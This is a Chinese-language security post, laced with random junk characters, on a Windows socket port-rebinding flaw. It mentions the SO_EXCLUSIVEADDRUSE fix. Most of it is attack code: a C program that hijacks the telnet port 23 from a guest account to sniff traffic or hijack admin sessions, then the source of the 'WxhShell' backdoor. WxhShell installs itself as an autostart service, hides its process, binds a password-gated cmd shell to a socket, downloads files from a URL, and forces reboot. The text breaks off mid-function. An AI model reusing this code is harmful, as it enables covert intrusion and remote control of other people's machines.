在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@q^WD_k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ANT^&NjJ7 z W+wtYV4 saddr.sin_family = AF_INET;
/&kZ)XOi !vImmhI!I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mT!~;]RrF `awk@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
s)]|zu0"Ku HO' ELiZ_q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|2n2 B"+Ygvxb 这意味着什么?意味着可以进行如下的攻击:
w'L;`k;Q $Q47>/CUc^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6 _73 T*YdGIFO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^~(bm$4r -$e\m]
}Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
hfEGkaV._3 #wC4$y<> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k U3]
eh\I Ma{|+\Q.Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4<lZ; M" yP-.8[; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
eQC`e#% B'~.>,fg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"h:xdaIE/p m4 4aKqw) #include
]^j)4us #include
[=LQ,e$r7 #include
\J1Jn~ #include
0Q>Yoa
11 DWORD WINAPI ClientThread(LPVOID lpParam);
*7-uQKp int main()
p&ZD1qa {
j\Q_NevV WORD wVersionRequested;
nnr(\r~ DWORD ret;
L#NPt4Sz+ WSADATA wsaData;
noL<pkks~R BOOL val;
I^lb;3uR SOCKADDR_IN saddr;
jfgAI7;b SOCKADDR_IN scaddr;
fmloh1{4 int err;
le8n!Dk( SOCKET s;
Pb[wysy SOCKET sc;
ii~~xt1 int caddsize;
6'*?zZrz HANDLE mt;
'f5,%e2# DWORD tid;
r[~Km5 wVersionRequested = MAKEWORD( 2, 2 );
$Cf_RFH0 err = WSAStartup( wVersionRequested, &wsaData );
\9D
'7/$I, if ( err != 0 ) {
L! Q&?xP printf("error!WSAStartup failed!\n");
#PtV=Ee1 return -1;
wRU pQ~=B2 }
RCgs3JIE+2 saddr.sin_family = AF_INET;
i}M&1E 13 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cV)C:!W2
QbS w<V saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5H?`a7q N saddr.sin_port = htons(23);
xB
4A"| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[}d
3u! {
G|X1c}zAL printf("error!socket failed!\n");
'&s:,o-p return -1;
iVnrv`k, }
,uuQj]Dac+ val = TRUE;
7uxy<#Ar //SO_REUSEADDR选项就是可以实现端口重绑定的
1>l{c if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IXX^C}\, {
voV=}.(p printf("error!setsockopt failed!\n");
)Q(tryiSi return -1;
_<kE32Bb }
}q27M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3vmLftZE} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?$F:S%eH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[-1Nn} \wO)w@" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
xzIs,i}U {
OsvAm'B ret=GetLastError();
<k/'mBDk printf("error!bind failed!\n");
`;5UlkVZ5 return -1;
1wqCoDgkp }
#C4 listen(s,2);
eJ$?T7aUf while(1)
@5Ril9J[b {
`=b*g24z[N caddsize = sizeof(scaddr);
U-X //接受连接请求
XC0G5rtB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2P@>H_JFF if(sc!=INVALID_SOCKET)
(= uwx# {
)Qb1$%r. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1:q55!b if(mt==NULL)
9%kY8#%SV {
T?^AllUZQR printf("Thread Creat Failed!\n");
A{mbL2AxwC break;
N, ;'oL+ }
B58H7NH ;G }
burEo.= CloseHandle(mt);
L'"20=sf }
-md2Z0^ Kc closesocket(s);
_BtppQIWv WSACleanup();
ZCbxL.fFz return 0;
NVeb,Pf }
+=$]f jE? DWORD WINAPI ClientThread(LPVOID lpParam)
3f
eI {
OtY.s\m y SOCKET ss = (SOCKET)lpParam;
}1z=
C< SOCKET sc;
<)?H98S unsigned char buf[4096];
7{8!IcR # SOCKADDR_IN saddr;
eem.lVVD long num;
@bfaAh~ DWORD val;
tvf"w`H DWORD ret;
"&Q-'L!M'/ //如果是隐藏端口应用的话,可以在此处加一些判断
Dn<2.!ZKQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
v-42_} saddr.sin_family = AF_INET;
$C,f>^1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H Y.,f_m saddr.sin_port = htons(23);
<4C`^p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`$G7Ia_ $] {
@T?:[nPf&F printf("error!socket failed!\n");
R:0Fv9bwS return -1;
j3Cp o
x }
TLPy/, val = 100;
JjyQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{ tim{nV {
XMa(XOnX ret = GetLastError();
1PjSa4 return -1;
zu*0uL }
Q(oWaG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wb"Jj {
8kH'ai ret = GetLastError();
@l$cZie return -1;
cV&(L]k>` }
f^:9gRt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.fUqsq {
W-7yi`5 printf("error!socket connect failed!\n");
*ZKfyn$+~ closesocket(sc);
&p=|z2 J closesocket(ss);
O 4l[4,` return -1;
_d
A-{ }
=WJ*$j( while(1)
azF"tke {
oopTo51,a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$T1
D
?X //如果是嗅探内容的话,可以再此处进行内容分析和记录
s@^GjA[6+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J@(*(oQb num = recv(ss,buf,4096,0);
xfos>|0N if(num>0)
d3 fE[/oU send(sc,buf,num,0);
wvx
N6 else if(num==0)
&>i+2c~ break;
{LR?#. num = recv(sc,buf,4096,0);
L
a0H if(num>0)
NZi5rXN send(ss,buf,num,0);
- FA#hUK$ else if(num==0)
qB<D'h7 break;
WTY{sq\'
o }
S%mN6b~{ closesocket(ss);
+]`MdOu closesocket(sc);
_BHb0zeot return 0 ;
9.#\GI ; }
;=F^G?p^ Pt";f 7KuTC%7 ==========================================================
'#u|RsZ DWm$:M4z 下边附上一个代码,,WXhSHELL
y9Yh%M( e,`+6qP{ ==========================================================
r}D`15IHJ 1i2jYDB" #include "stdafx.h"
jW?.>( t#6gjfIi #include <stdio.h>
N''9Bt+: #include <string.h>
-;Cl0O% #include <windows.h>
e|"`W`"- #include <winsock2.h>
_9\ayR>d #include <winsvc.h>
+)L
'qbCSM #include <urlmon.h>
niqi DT/ WH/r$.& #pragma comment (lib, "Ws2_32.lib")
%$!}MxUM #pragma comment (lib, "urlmon.lib")
kTc'k n8iejdA' #define MAX_USER 100 // 最大客户端连接数
A5y?|q>5 #define BUF_SOCK 200 // sock buffer
cXE42MM #define KEY_BUFF 255 // 输入 buffer
L$i&>cF\_> nCGLuZn #define REBOOT 0 // 重启
4SY]Q[ #define SHUTDOWN 1 // 关机
#RlI([f|& H.|FEV@ #define DEF_PORT 5000 // 监听端口
H5^'J`0\ J3S@1"
#define REG_LEN 16 // 注册表键长度
2@uo2]o) #define SVC_LEN 80 // NT服务名长度
|1T2<ZT #^yw!~:{ // 从dll定义API
BT`D|< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MFiX8zwhx+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|v[{k>7f typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%89f<F\V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;}=v|Dr&I. A4Q8^^byY // wxhshell配置信息
3xp%o5K struct WSCFG {
1ncY"S/VO int ws_port; // 监听端口
% ]r@vjeyd char ws_passstr[REG_LEN]; // 口令
xo7H^!_ int ws_autoins; // 安装标记, 1=yes 0=no
d_1w
9FA char ws_regname[REG_LEN]; // 注册表键名
EoIP#Cnd1 char ws_svcname[REG_LEN]; // 服务名
"Z& { char ws_svcdisp[SVC_LEN]; // 服务显示名
fC&Egy char ws_svcdesc[SVC_LEN]; // 服务描述信息
PG&@.KY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y9pQ1H<F; int ws_downexe; // 下载执行标记, 1=yes 0=no
/".+OpL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
k8 ,.~HkU char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d]0fgwwGC az?B'|VX };
QVb@/ 6EGh8H f // default Wxhshell configuration
J0C,KU( struct WSCFG wscfg={DEF_PORT,
Q.DtC "xuhuanlingzhe",
~bdADVH 1,
Nt$/JBB[$ "Wxhshell",
$X9-0- "Wxhshell",
4g$mz:vo "WxhShell Service",
h=EJNz>U "Wrsky Windows CmdShell Service",
)0yY|E\ "Please Input Your Password: ",
#gUM%$ 1,
e~i
?E "
http://www.wrsky.com/wxhshell.exe",
CP]BSyim' "Wxhshell.exe"
f|1y?w?I };
ZiSy&r:( kQsyvE // 消息定义模块
d Am(uJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~Q0jz/#c
char *msg_ws_prompt="\n\r? for help\n\r#>";
6f\0YU<C& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
CJ
{?9z@$. char *msg_ws_ext="\n\rExit.";
:PY~Cws char *msg_ws_end="\n\rQuit.";
qyP@[8eH char *msg_ws_boot="\n\rReboot...";
TStu)6%` char *msg_ws_poff="\n\rShutdown...";
TsfOod char *msg_ws_down="\n\rSave to ";
o'D{ql ,*bI0mFZ char *msg_ws_err="\n\rErr!";
^7.864 char *msg_ws_ok="\n\rOK!";
NyeGa %h4pIA char ExeFile[MAX_PATH];
.px*.e s int nUser = 0;
neoT\HV HANDLE handles[MAX_USER];
4u"V52 int OsIsNt;
rgRh ySud A+iQH1C0h SERVICE_STATUS serviceStatus;
U~s&}M\n SERVICE_STATUS_HANDLE hServiceStatusHandle;
V`l.F"<L v,KH2 (N // 函数声明
M9fAv int Install(void);
rPv+eM"> int Uninstall(void);
#hH "g int DownloadFile(char *sURL, SOCKET wsh);
D""d-oI[ int Boot(int flag);
U*(m'Ea void HideProc(void);
u f.Zg;Vc int GetOsVer(void);
%$~?DDNM int Wxhshell(SOCKET wsl);
1YTnOiYS1 void TalkWithClient(void *cs);
]O,!B''8k int CmdShell(SOCKET sock);
y4/>3tz; int StartFromService(void);
5Q?7 xTQ int StartWxhshell(LPSTR lpCmdLine);
)^|zuYzN K9mL1 [B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Fm#4;'x5E VOID WINAPI NTServiceHandler( DWORD fdwControl );
{I@@i8)] yCf*ts1 // 数据结构和表定义
Y@Lv>p SERVICE_TABLE_ENTRY DispatchTable[] =
V#ZF0a] {
ujXC#r& {wscfg.ws_svcname, NTServiceMain},
WW:@% cQ@ {NULL, NULL}
#]_S{sO };
Qx>S>f /E2/3z // 自我安装
7;dV]N int Install(void)
{[m %1O1 {
94 H\,}i8 char svExeFile[MAX_PATH];
JY"<b6C^ HKEY key;
#c5G"^)z strcpy(svExeFile,ExeFile);
NFDi2L>Ba Y`uL4)hR5 // 如果是win9x系统,修改注册表设为自启动
;4z6="<Y if(!OsIsNt) {
&\F`M|c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g|9'Lk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R.Ao%VT RegCloseKey(key);
8*V3g_z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:5L9tNr{_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NJ/6_e RegCloseKey(key);
R Q X return 0;
OHdCt }
J)6RXt*! }
5%rD7/7N }
Eyxw.,rB/ else {
K=;z&E=<c a-MDZT<xA+ // 如果是NT以上系统,安装为系统服务
5)wz `OS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%?' jyK if (schSCManager!=0)
;_@u@$=~ {
9*h?g+\ SC_HANDLE schService = CreateService
;$ D*,W
* (
]S[M]-I schSCManager,
6#MIt:# wscfg.ws_svcname,
!_QE|tVeR wscfg.ws_svcdisp,
.RxH-]xk SERVICE_ALL_ACCESS,
uCB7(< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GPy+\P` SERVICE_AUTO_START,
nbj &3z, SERVICE_ERROR_NORMAL,
\S{ise/U svExeFile,
C_rlbl;T NULL,
T$U,rOB" NULL,
5}x^0
LY NULL,
wN-3@ NULL,
R*`A',]:9 NULL
gI~Ru8 );
(|(#~o]40t if (schService!=0)
^G.PdX$M {
2j9Mr CloseServiceHandle(schService);
'2vZ%C$ CloseServiceHandle(schSCManager);
ypM0}pdvTp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f
wWI2"} strcat(svExeFile,wscfg.ws_svcname);
`PXSQf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f}PT3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ng(STvSh: RegCloseKey(key);
(]n^_G#-$ return 0;
8_US.52V }
dE=4tqv-r }
]R~K-cN` CloseServiceHandle(schSCManager);
_w/w~;7 }
k_
9gMO }
+@ga eGwrSF#a) return 1;
ak 94"<p }
Xp"ZK=r <t>"b|fW // 自我卸载
MDGD*Qn~ int Uninstall(void)
Z&e_yl {
sPuNwVX>}I HKEY key;
8<#X]I_eP+ W-ErzX if(!OsIsNt) {
5(R ./
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^
ry
RegDeleteValue(key,wscfg.ws_regname);
Nb~.6bsL RegCloseKey(key);
n@<+D`[.V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FO#`}? R` RegDeleteValue(key,wscfg.ws_regname);
V`sINX RegCloseKey(key);
;^za/h>r return 0;
M >#kfSF+ }
X-%XZDB6 }
pJ!:mt }
0Ah'G else {
|dcRDOTe FJDx80J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
o{5es if (schSCManager!=0)
th]1>
. {
ys`"-o[* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\ws<W7 if (schService!=0)
zRSIJ!A~ {
%g1:yx if(DeleteService(schService)!=0) {
't'~p#$,F CloseServiceHandle(schService);
D|lp3\`% CloseServiceHandle(schSCManager);
`./$hh return 0;
XC"]/y }
Goa0OC, CloseServiceHandle(schService);
D=uU:7m }
FMMQO,BU CloseServiceHandle(schSCManager);
j#mo Vq }
BM9J/24 }
zXWf($^&E 5xKo(XNp return 1;
w-9M{Es+j }
Gxx:<`[ON ^GMM% // 从指定url下载文件
`IL''eJug_ int DownloadFile(char *sURL, SOCKET wsh)
\@8j&],dl {
i7]\}w| HRESULT hr;
,)-7f| char seps[]= "/";
I,J*\)-%J char *token;
X/Umfci char *file;
l'TM^B)`c char myURL[MAX_PATH];
<d!_.f}v char myFILE[MAX_PATH];
g*t(%;_m d/oxRzk'L strcpy(myURL,sURL);
^UTQcm token=strtok(myURL,seps);
Z<+Ipj& while(token!=NULL)
}@JPvIE {
~Iw7Xq E2 file=token;
>~C*m `# token=strtok(NULL,seps);
t<~$?tuZ }
Fv_rDTo *Xm$w GetCurrentDirectory(MAX_PATH,myFILE);
{oQ.y strcat(myFILE, "\\");
-:Up$6PR strcat(myFILE, file);
"\0&1C(G send(wsh,myFILE,strlen(myFILE),0);
B+W 4r9# send(wsh,"...",3,0);
p1^k4G hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
X@`kuWIUw if(hr==S_OK)
ZmM/YPy return 0;
5`] ;[M9 else
E2J.t`H return 1;
!58j xh q=Cc2|Ve }
W6cA@DN$# aLzRbRv // 系统电源模块
8&T6 int Boot(int flag)
24;F~y8H {
]!l]^/. HANDLE hToken;
Y*oT( TOKEN_PRIVILEGES tkp;
6, =oTmFP NJ"
d` if(OsIsNt) {
R Ptc \4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zg)-RCG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7ip$#pzo tkp.PrivilegeCount = 1;
G+Gd;`4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-n.ltgW@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u!wR if(flag==REBOOT) {
9a4Xf%!F>z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w'uI~t4 return 0;
=/_tQR~ }
#|\w\MJamP else {
Qe8F(k~k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)8ub1,C return 0;
x""gZzJ$L }
)qxZHV }
K7o!,['W else {
f;";P if(flag==REBOOT) {
2|Of$oMc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3eOwy~ return 0;
UvwO/A\Gv }
hRKAs
]^j else {
T_T@0`7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!{hC99q6 return 0;
|/Q7 o1i }
CVo2?ZQ }
II=(>G9v 9Rz TC return 1;
7-p9IFcA }
HP`dfo~j qHM,#W< // win9x进程隐藏模块
=}SH*xi6 void HideProc(void)
8HL$y-F {
i6)7)^nG .&|Ivz6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Id_? if ( hKernel != NULL )
yWsJa)e3*@ {
W+F{!dW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,_ zivUU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]I
pLF# FreeLibrary(hKernel);
WX2:c,%: }
ey icMy`7{ 5G$sP,n return;
m*'^*# }
"YW&,X5R A:{PPjs%LA // 获取操作系统版本
6
GL.bS int GetOsVer(void)
(f Gmjx {
H);O. m OSVERSIONINFO winfo;
EMe3Xb
` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
. \/jy]Y GetVersionEx(&winfo);
OC(S"&D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'*`25BiQ return 1;
w]<a$C8*y: else
OHEl.p]| return 0;
pi/Jto25z }
6p;G~,bd~ dCbRlW // 客户端句柄模块
|Z), OW int Wxhshell(SOCKET wsl)
$ NNd4d* {
-> $]`h" SOCKET wsh;
}(*eR F' struct sockaddr_in client;
"4`i]vy8 DWORD myID;
5"5tY % 3"xn!'vf while(nUser<MAX_USER)
kPuY[~i% {
pQ:7%+Om int nSize=sizeof(client);
y;'yob wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i .O670D if(wsh==INVALID_SOCKET) return 1;
_zuaImJ0o ](^$5Am handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nU^ -D1s{ if(handles[nUser]==0)
[;/4' closesocket(wsh);
SVJL|S 3k else
O
%x<
nUser++;
[:vH_(| }
4Lg!54P8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eootHK mNc?`G_R return 0;
#pe#(xoI }
;7;=)/- +-s$Htx // 关闭 socket
@ )bCh(u void CloseIt(SOCKET wsh)
D90.z"N\i9 {
{c(@u6l28 closesocket(wsh);
xZMQ+OW2i nUser--;
( o(, ; ExitThread(0);
}jfOs(Q] }
xOKLc!J ]U4)2s // 客户端请求句柄
x6h';W_ 8 void TalkWithClient(void *cs)
@pV~Q2% {
u!]g^r 4@qHS0$ SOCKET wsh=(SOCKET)cs;
*VP-fyJp char pwd[SVC_LEN];
sf7~hN*
char cmd[KEY_BUFF];
Fj_6jsDb char chr[1];
)U2cS\k'7n int i,j;
H}ie D"T_ Qru
iQ/t while (nUser < MAX_USER) {
%>)HAx ` CXAW>VdK_ if(wscfg.ws_passstr) {
uPbGQ :%} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t9QnEP' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fV "gL(7 //ZeroMemory(pwd,KEY_BUFF);
' F,.y6QU i=0;
Zk={3Y while(i<SVC_LEN) {
ekR/X r bfIH": // 设置超时
cs-wqxTX[$ fd_set FdRead;
?W27
h struct timeval TimeOut;
/s/\5-U7q FD_ZERO(&FdRead);
zUQn*Cio e FD_SET(wsh,&FdRead);
iNlY\67sW TimeOut.tv_sec=8;
2#i*'. TimeOut.tv_usec=0;
j\LJ{?;jC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_l ,_NV&T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dcn/|"jr Ifx
EM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t.s;dlx[@ pwd
=chr[0]; qV7F=1k]
if(chr[0]==0xd || chr[0]==0xa) { ],W/IDv
pwd=0; 6T`F'Fk[
break; ?z[k.l+6w
} s7 789pR
i++; *XCgl*% *
} ]%Db %A
:`Z'vRj
// 如果是非法用户,关闭 socket m9Pzy^g1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }hm"49,O
} X2PyFe
+";<Kd -
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pXE'5IIN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !GAU?J;<#2
~43T$^<w;
while(1) { `[(.Q
.='hYe.
ZeroMemory(cmd,KEY_BUFF); "0V8i%a
m4m,-}KNi
// 自动支持客户端 telnet标准 J
,s9,("
j=0; iVUkM3
while(j<KEY_BUFF) { =[
+)T[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -50Nd=1
cmd[j]=chr[0]; fZ6-ap,u
if(chr[0]==0xa || chr[0]==0xd) { QnZ7e#@UP
cmd[j]=0; Vlf =gP
break; us,~<e0
} |eu:qn8
j++; *a[iq`499
} 8q"C=t7
te*|>NRS
// 下载文件 ,|7!/]0&
if(strstr(cmd,"http://")) { gm1 7VrC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N
t-8[J
if(DownloadFile(cmd,wsh)) !l7D1i~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HX`>"
?{
else qt.Y6s:r_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gP^p7aYwn
} .S6u{B
else { /ygC_,mx
S [=l/3c
switch(cmd[0]) { T1_qAz+
ssUm1F\
// 帮助 uO{'eT~
case '?': { c`M
,KXott
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3;F+.{Icc
break; F8*zG 4/&
} xC5`|JW
// 安装 (oG-h"^/
case 'i': { TNj WZ
if(Install()) x9qoS)@CM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qN@-H6D1=
else _yu_Ev}R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mv 1V
Vk
break; ln*_mM/Q%
} '7ps_pz
// 卸载 M!#[(:
case 'r': { lDf:~
if(Uninstall()) IV]2#;OO?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79y'PFSms
else b'mp$lt!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [CAV"u)0
break; sI% =G3o=
} ?>}&,:U}
// 显示 wxhshell 所在路径 MVYf-'\^
case 'p': { Pf?zszvs
char svExeFile[MAX_PATH]; h;RKF\U:"
strcpy(svExeFile,"\n\r"); >=VtL4K^
strcat(svExeFile,ExeFile); VYAz0H1-_
send(wsh,svExeFile,strlen(svExeFile),0); QZO9CLX 8k
break; J.g4I|{
} ,>vI|p,/G*
// 重启 wS%j!|xhlV
case 'b': { ;R4qE$u2^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bi<?m^j
if(Boot(REBOOT)) 7zWr5U.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)LI1\o
else { 1cvH
closesocket(wsh); m{VC1BkZ
ExitThread(0); ;qwNM~
} vN8Xq+
break; j{ :>"6
} 9?i~4&EY
// 关机 <}z,!w8
case 'd': { \NTNB9>CO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o?]g
if(Boot(SHUTDOWN)) o0`|r+E\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kE*OjywN
else { c.JMeh
closesocket(wsh); *(*3/P4D
ExitThread(0); NUjo5.7
} =0gfGwD{
break; $=rLs)
} )<8f3;qd
// 获取shell *j/[5J0'M
case 's': { D$$,T.'u
CmdShell(wsh); mO~A}/je
closesocket(wsh); %yJ
$R2%*y
ExitThread(0); "JBTsQDj!
break; ,^d!K(xb
} M>kk"tyM
// 退出 Rd|xw%R\mb
case 'x': { cN]]J
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =3=
$F%
CloseIt(wsh); ^V5g[XL2
break; V/@?KC0B5
} {24Y1ohK
// 离开 9YjO
case 'q': { WymBjDos:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^+)q@{\8Y
closesocket(wsh); 5J 0Sc
WSACleanup(); H6Qb]H.C
exit(1); '
+*,|;?
break; xO nW~Z
} "2FI3M=
} M(+;AS?;
} C6P(86?
xM6v0U a
// 提示信息 ( 8}'JvSu
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XnCrxj
} H*&ZXAKv
} FA#?+kd
JMa[Ulz
return; +&:?*(?Q
} rt5eN:'qY
y!;PBsU%Sx
// shell模块句柄 Q[U_
0O,A9
int CmdShell(SOCKET sock) HvSYE[Zt|
{ YKZk/m&H
STARTUPINFO si; :>t^B+
ZeroMemory(&si,sizeof(si)); O{F)|<L(G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lx vRF93a.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y?1<7>L5~
PROCESS_INFORMATION ProcessInfo; EE<^q?[3^
char cmdline[]="cmd"; Y=- ILN("
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G',*"mZQ[
return 0; _\y%u_W
} :y!%GJW
]|y]?7
// 自身启动模式 tgX},OU^
int StartFromService(void) w_ sA8B
{ yXdJ5Me(T
typedef struct G L> u3K
{ 0D*uZ,oBEw
DWORD ExitStatus; e yLVu.
DWORD PebBaseAddress; +uY)MExs2
DWORD AffinityMask; 7 ?O~3
